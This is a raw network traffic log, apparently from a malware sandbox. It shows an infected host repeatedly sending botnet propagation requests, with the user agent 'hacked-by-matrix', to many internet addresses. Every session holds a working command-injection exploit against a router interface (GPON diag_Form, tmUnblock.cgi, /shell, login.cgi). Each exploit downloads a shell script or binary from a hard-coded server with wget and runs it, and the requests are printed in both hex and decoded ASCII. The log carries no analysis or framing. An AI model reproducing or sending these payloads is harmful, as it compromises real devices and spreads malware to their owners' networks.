Mar 21, 2024 05:22:17.242707014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.14	53524	42.6.110.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242747068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.14	50366	42.77.135.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242783070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.14	58836	5.27.100.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242785931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.14	46658	5.154.217.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242863894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.14	53374	94.172.222.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242887020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.14	33384	178.163.139.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242887020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.14	60836	178.93.195.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242904902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.14	50826	5.122.207.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242922068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.14	51760	2.78.137.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242938042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.14	37226	210.172.136.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242997885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.14	44128	42.212.16.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.242997885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.14	37442	109.196.242.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.243022919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.14	58816	172.65.17.185	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.624675989 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.14	37390	181.209.117.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.757764101 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:18.010539055 CET	511	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Thu, 21 Mar 2024 04:22:17 GMT Server: ServerONDEMAND Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.14	38020	183.47.111.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:17.899590015 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:20.001302958 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:20.383078098 CET	145	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.14	54912	165.227.36.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.216382980 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:18.909991026 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:19.025249958 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.14	50620	67.200.52.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.401912928 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:18.553917885 CET	212	IN	HTTP/1.1 302 Found content-length: 0 location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.14	38868	172.65.191.146	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.678946018 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.14	50634	67.200.52.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.682769060 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.14	53520	172.87.199.116	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.747982979 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.14	34750	212.244.142.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:18.762562990 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:19.413486958 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
